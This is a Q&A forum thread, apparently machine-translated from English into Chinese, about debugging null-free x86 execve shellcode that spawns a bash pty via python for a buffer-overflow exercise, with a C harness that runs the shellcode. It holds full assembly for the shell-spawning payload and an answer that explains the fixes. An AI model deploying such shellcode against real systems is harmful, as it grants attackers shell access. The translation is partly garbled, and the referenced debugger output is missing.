删除 shellcode 的空字节会导致缺少字符和连续循环

Removing null bytes for shellcode results in missing char and continuous loop

更新:我已经修复了 argv 数组指针无效导致连续循环的问题,并更新了汇编代码。现在唯一的问题是编译时消失的 space 字符。

我一直在尝试在 32 位 Linux VM 上利用缓冲区溢出后执行 shell 代码。我的汇编程序简单地使用 execve 通过 python 启动 shell(我想测试在 execve 中传递的参数而不仅仅是 运行 /bin/bash),当我编译 . asm 到程序中 运行 没问题,但是当我将它用作 shell 代码时就不行了。为了使其成为 运行 作为 shell 代码,我知道我需要删除空字节,这样它们就不会被解析为空终止符,从而提前切断我的字符串。

为了测试,我使用模板 C 程序来执行 shell代码:

#include <stdio.h>

unsigned char code[] = "shellcodegoeshere"

int main(int argc, char **argv) {
    int (*ret)() = (int(*)())code;
    ret();
}

我更改了程序中的相对寻址,以便它在弹出数据时使用 esi 的偏移量,将任何空值替换为“N”以在 运行time 内替换,并将 0 移到这些位置通过对一个寄存器本身进行异或并将其值移动到这些偏移量。

我原来的程序是这样的:

global _start
section .text

_start:
    jmp short call_shellcode

shellcode:
    pop esi
        lea ebx, [rel arg1]
    lea ecx, [rel args]
    xor edx, edx
        xor eax, eax
    mov eax, 0xb
    int 0x80

call_shellcode:
    call shellcode

    arg1 db "/usr/bin/python",0
    arg2 db "-c",0
    arg3 db "import pty; pty.spawn(",34,"/bin/bash",34,")",0

    args dd arg1, arg2, arg3, 0

这是我尝试删除空字节后的样子:

global _start
section .text

_start:
    jmp short call_shellcode

shellcode:
    pop esi
    xor eax, eax
    mov byte [esi+15], al
    mov byte [esi+18], al
    mov byte [esi+53], al
    mov dword [esi+53+4*3], eax
    lea ebx, [esi]
    ;lea ecx, [esi+54] (couldn't be accessed via shellcode)
    xor ecx, ecx
    push ecx
    lea ecx, [esi+19] ; now will make an array of pointers that can still be accessed via shellcode
    push ecx
    lea ecx, [esi+16]
    push ecx
    lea ecx, [esi]
    push ecx
    mov ecx, esp
    xor edx, edx
    mov al, 0xb
    int 0x80

call_shellcode:
    call shellcode

    arg1 db "/usr/bin/pythonN"
    arg2 db "-cN"
    arg3 db "import pty; pty.spawn(",34,"/bin/bash",34,")N"

    ;args dd arg1, arg2, arg3, "NNNN" (these addresses were set at compilation meaning they were no longer valid when in shellcode)

当查看我的原始程序时,在 execve 调用之前从 esi 读取看起来像这样:

然而,在我修改后的 shell 代码中没有空字节,从 esi 读取在替换字符之前和之后看起来像这样,在 execve 调用之前:

之前:

之后:

如您所见,由于某种原因,“导入 pty”之间的 space 消失了,当我逐字节查看时,shell 代码中甚至缺少 0x20。 发生这种情况时,我的代码到达 C 中 main 的末尾并再次循环,重复 shell 代码指令。我已经尝试手动添加 0x20,尽管检查来自 esi 的字符串的输出与我的工作原始程序相同,但我似乎仍然得到这个循环,通过调用不断回到 gdb 中的 main 开始我的 pop 指令作为中断没有启动 python 成功:

我知道当对 execv 的调用成功时,我不应该到达底部指令。从我得到的缺少的 space 字符判断, 以及即使它存在我也得到一个连续循环的事实, 我知道我在我的原始之间做错了什么程序和这个没有空字节的程序 - 我只是不知道它是什么。

这是我在 pop 之后从 esi 中读取到的内容:

如果有人能提供帮助,我们将不胜感激。 谢谢。

调用失败Python

execve 系统调用无法正常工作,因为 args 在 assembly-time 处填充了 常量 地址。 args 必须在 运行 时用地址填充。在这种情况下,可以使用相对于 esi.

的地址来实现

缺少 space 个字符

space 个字符没有丢失;他们一开始就不在那里。空格是 shell 分隔参数的方式。 execve 不会将参数与任何东西分开,因为每个参数都是内存中某处自己的字符串。您的三个字符串在内存中都是连续的并且可以打印为一个长字符串这一事实只是您实现的一个细节,而不是 execve.

的要求

循环

execve 系统调用失败时,继续执行下一条指令:

call shellcode

如果你让这个 运行 足够长,你会从 call 的数量中得到堆栈溢出。